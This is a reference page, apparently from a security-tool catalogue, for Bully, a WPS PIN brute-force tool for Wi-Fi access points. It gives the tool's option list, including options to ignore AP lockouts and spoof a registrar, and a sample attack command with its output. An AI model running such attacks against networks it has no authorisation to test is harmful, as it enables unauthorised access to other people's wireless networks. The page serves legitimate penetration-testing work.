Bully

Bully Description

Bully is a new implementation of the WPS brute force attack, written in C. It is conceptually identical to other programs, in that it exploits the (now well known) design flaw in the WPS specification. It has several advantages over the original reaver code. These include fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture.

Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success.

Homepage: https://github.com/aanarchyy/bully

Author: Brian Purcell

License: GPLv3

Bully Help

usage:

bully <options> interface

  Required arguments:

      interface      : Wireless interface in monitor mode (root required)

      -b, --bssid macaddr    : MAC address of the target access point
   Or
      -e, --essid string     : Extended SSID for the access point

  Optional arguments:

      -c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]
      -i, --index N          : Starting pin index (7 or 8 digits)  [Auto]
      -l, --lockwait N       : Seconds to wait if the AP locks WPS   [43]
      -o, --outfile file     : Output file for messages          [stdout]
      -p, --pin N            : Starting pin number (7 or 8 digits) [Auto]
      -s, --source macaddr   : Source (hardware) MAC address      [Probe]
      -v, --verbosity N      : Verbosity level 1-4, 1 is quietest     [3]
      -w, --workdir path     : Location of pin/session files  [~/.bully/]
      -5, --5ghz             : Hop on 5GHz a/n default channel list  [No]
      -B, --bruteforce       : Bruteforce the WPS pin checksum digit [No]
      -F, --force            : Force continue in spite of warnings   [No]
      -S, --sequential       : Sequential pins (do not randomize)    [No]
      -T, --test             : Test mode (do not inject any packets) [No]

  Advanced arguments:

      -d, --pixiewps         : Attempt to use pixiewps               [No]
      -a, --acktime N        : Deprecated/ignored                  [Auto]
      -r, --retries N        : Resend packets N times when not acked  [2]
      -m, --m13time N        : Deprecated/ignored                  [Auto]
      -t, --timeout N        : Deprecated/ignored                  [Auto]
      -1, --pin1delay M,N    : Delay M seconds every Nth nack at M5 [0,1]
      -2, --pin2delay M,N    : Delay M seconds every Nth nack at M7 [5,1]
      -A, --noacks           : Disable ACK check for sent packets    [No]
      -C, --nocheck          : Skip CRC/FCS validation (performance) [No]
      -D, --detectlock       : Detect WPS lockouts unreported by AP  [No]
      -E, --eapfail          : EAP Failure terminate every exchange  [No]
      -L, --lockignore       : Ignore WPS locks reported by the AP   [No]
      -M, --m57nack          : M5/M7 timeouts treated as WSC_NACK's  [No]
      -N, --nofcs            : Packets don't contain the FCS field [Auto]
      -P, --probe            : Use probe request for nonbeaconing AP [No]
      -R, --radiotap         : Assume radiotap headers are present [Auto]
      -W, --windows7         : Masquerade as a Windows 7 registrar   [No]
      -Z, --suppress         : Suppress packet throttling algorithm  [No]
      -V, --version          : Print version info and exit
      -h, --help             : Display this help information

Bully Usage Example

Attack wireless ESSID (-e 6F36E6) with interface in monitor mode (wlan0mon):

bully -e 6F36E6 wlan0mon
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[X] Unknown frequency '-113135872' reported by interface wlan0mon
[!] Using '00:1f:33:f3:51:13' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '6F36E6' on channel 'unknown'
[+] Got beacon for '6F36E6' (9c:d3:6d:b8:ff:56)
[+] Switching interface wlan0mon to channel '8'
[!] Beacon information element indicates WPS is locked
[!] Creating new randomized pin file '/root/.bully/pins'
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '54744431'
..........................

How to install Bully

The program is pre-installed on Kali Linux.

Bully Screenshots

The program is a command-line utility.

Bully Tutorials

• USB Wi-Fi Adapters with monitor mode and wireless injection (100% compatible with Kali Linux) 2021